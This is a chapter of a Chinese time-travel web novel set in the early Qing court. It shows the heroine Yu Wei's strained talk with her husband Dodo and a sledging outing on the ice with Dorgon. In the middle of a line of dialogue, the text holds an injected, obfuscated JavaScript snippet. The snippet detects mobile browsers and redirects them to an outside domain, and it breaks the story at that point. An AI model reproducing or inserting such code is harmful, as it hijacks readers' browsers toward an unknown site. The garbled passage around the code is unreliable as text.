那一年,达延汗七岁,三十多岁的满都海背着自己年幼的丈夫,东征西讨,夫妇二人成就一统蒙古的中兴伟业,林丹汗就是达延汗的六世孙,成吉思汗的直系后裔。 林丹汗死了,按道理来说,他的长子额哲应该继承汗位,如果没出意外,芭德玛瑙福晋们应该改嫁给新大汗额哲,但这个时候的察哈尔部已经被后金击败,林丹汗本人也是在逃亡青海的路上死亡。 年轻的额哲显然没有能力继续对抗后金,捡拾起因战败而四散的部众。 越是混乱,越是考验统治者的能力与眼光,八位掌管斡耳朵的大妃,都各自做出了选择。高尔土门大妃斯琴图,和窦土门大妃芭德玛瑙选择带领部众,投靠后金。 童尘小声道:“所以这就是为什么不嫁蒙古,科尔沁都是亲族,不在联姻范畴,往远了嫁的话,那不完蛋了,谁知道他们是什么成分,到时候再改嫁过来多麻烦,不如一步到位,我机智吧。” “你机智死了,让多尔衮把自己封号智勇双全贝勒里的智抠出来给你。” 此话一出,两人都低头偷笑。 拜见新福晋后,众人依次散去,哈日娜禀过哲哲,想要带于微回去,哲哲点头应允,叫来于微,严肃道:“好了,该回家去了。” 两人出了汗宫,因下了雪,加之哈日娜怀孕,没有起马,而是坐轿回府。途中轿子停下,侍女掀开轿帘,多铎从马下俯身,往轿内望来。 于微诧异抬眸,恰好对上镶貂暖帽风帽下,那双黑白分明的眼睛,多铎的视线停留在于微身上片刻,便抬起腰,打马往前而去,轿帘放下,轿子继续前行。 三人回到贝勒府,于微先下轿,想着扶一把哈日娜,哈日娜的侍女见状,忙上前道:“福晋,让奴婢来吧。”于微扫了一眼面前的侍女,她脸上惶恐未散。 于微垂眸,什么也没说,转身往正院走去,多铎回头看了一眼哈日娜,哈日娜朝他点头,多铎当即追了上来,两人前后脚回到正院。 进门之后,阿雅立刻为于微脱下身上的貂裘,她坐在炕上,又有侍女端了茶点进来,没过多久,多铎也进门了,于微朝他的方向看了一眼,端起茶杯,往嘴里送。 多铎在她身边坐下,见他脸色不好,良久,询问道:“怎么进宫就不回来了?我对你不好吗?还是下人们惹你不高兴了?” 于微听他询问的语气很轻,似乎真在意自己的想法,不由侧首,朝他望去,青年生的肖似其母女真第一美人阿巴亥,尤其入冬后穿了嵌黑貂的袍服,更显皮肤白皙。 他的眼睛清澈,黑白分明,一向眼高于顶的宠儿,此刻看向自己的目光却带着包容,与耐心而平静的询问,于微望着他的眼睛,沉默片刻,道: “你对我好,是因为你需要用这些东西额外的东西稳住我,你不需要对哈日娜这样,因为你们是一体,不用这些额外的东西就能理解对方,我不喜欢这种被当做外人的感觉,也不想融入一个无法融入的地方。” 她不可能取代哈日娜的,于微很清楚。 原因无二,因为哈日娜是努尔哈赤为他定下的福晋,而自己,是杀母仇人皇太极为他娶的福晋,权宜之计,如何能长久。 于微从费扬果处得知,在自己嫁来后金之前,多铎和皇太极的关系很僵,皇太极喜欢谁,他就和谁作对,去年,诸贝勒献皇太极马,多铎送了一匹瘸马给皇太极。 给大汗送瘸马...... 放在任何一个朝代,这都是大不敬可以杀头的罪名,也就是现在后金的封建化程度不高,皇权不够集中,皇太极的心胸也还算宽广,不想跟他一般计较,最后只是惩罚了几个多铎的属官作罢。 马是真的瘸马,他也是真的缺心眼。 多铎不像多尔衮,会主动向皇太极示好,性格倔强,还缺心眼,于微可不想白白做了他们两兄弟之间关系的牺牲品,她索性直言道: “我不想干预你,你最好也不要管我,大家相安无事,安静度日算了。反正,你的目的也达到了。” 多铎侧首,认真看向于微,眼中满是诧异,他似乎没有想到,眼前这个十五六岁的姑娘,居然能有如此强的洞察力,还敢如此大胆。 他想了想,问道:“谁告诉你我拿你当外人了?我毕竟先娶哈日娜,和她更为熟悉,你远来嫁我,我是怕你不熟悉,所以才会特别对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983855|177356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待,这和你是不是大福晋的妹妹无关。我娶的是你,既娶了你回来做大福晋,自然要好好对待。” 于微歪头,看向身边多铎,他面色平静,不像是说假话的样子。费扬果分析局势时的样子,也浮现于微眼前,很显然,两个人的话,只能信其中之一。 是相信同为穿越者的费扬果,还是相信眼前这个人? 于微陷入了抉择。 但这抉择不过一瞬,心中的天平便已然倾斜,她转过头,不再看多铎,“你以后还会有很多福晋,不用在我身上再花心思了。” 窗外大雪纷飞,无数片鹅毛大雪落地,却没发出一丝声响,屋中也愈发寂静,多铎和于微坐在炕桌两边,身后明窗,雪影晃动,纷扬落地。 鹅毛大雪一下就是好几天,于微从未见过这么大的雪,雪一停,便迫不及待跑出屋去,午后童尘带着几个大格格来找她,说是多尔衮要带他们冰面上玩法喇。 “法喇是什么?”于微好奇问道。 童尘摇头,“不知道,所以我来找你啊,走,一起去见见世面。” 到了地方之后,于微和童尘才知道法喇是什么。 原来是冰床,满语法喇,它还有一个更接地气的名字——爬犁。 两人没有坐过冰床,对这新奇的东西感到十分好奇,面前冰床小巧,用椴木制成,做工精美,就在两人围着爬犁左看右看之际,多尔衮踩着冰鞋从远处滑了过来。 女真人擅长走冰,又称之为冰嬉,起初冰鞋以两条兽骨安在鞋底制成,后来逐渐成型,有金属、木、骨等多种材质。多尔衮脚着铁条冰鞋,绕着几人转了一圈。 “这是?冰嬉?”于微眼露震惊,飞快戳了一下童尘,低声道:“多小鸟?” 童尘当即笑了出来,越笑越厉害,最后腰都直不起来了,“什么多小鸟,哈哈哈哈哈。” 大雪之后,冰面封冻,最适合冰嬉和冰床,几个格格见多尔衮走冰,也换了冰鞋,见她们上冰如履平地,于微和童尘不由悄悄竖起了大拇指。 可惜了,她俩不会溜冰,否则也上去凑凑热闹了。 “上来。”多尔衮指了指冰床。 “它怎么动啊?”童尘不解道,“这儿没有马也没有狗的。” 虽然没坐过爬犁,但童尘也知道爬犁是需要畜力带动。 多尔衮一笑,“你们上去就知道了。” 两人闻言,对视一眼,大概知道多尔衮要做什么,于微问道:“拉得动吗?我们可是两个人。” “试试嘛。” 两人见状,不再推辞,上了冰床,不是马拉爬犁坐不起,实在是多尔衮拉的更有性价比。 “好了,坐稳了。” 多尔衮闻声,拉起冰床前端的绳子,往前滑去,于微只觉得身下冰床一动,慢慢朝前而去,冰床的速度越来越快,两人有些害怕,吓得大叫,多尔衮不语,只是一味加速。 慢慢的,两人逐渐适应,抓住冰床前的护栏,感受这飞一般的速度,北风迎面而来,两人身后坤秋帽飘带飞舞,在雪后一片白茫茫中,如振翅之蝶。 多尔衮拉着冰床,往几个格格的方向而去,他们绕着格格们转了一圈,童尘开心朝她们挥手,格格们闻声,也举起双手,朝童尘与于微舞动。 整个下午,冰面上都回荡着欢声笑语。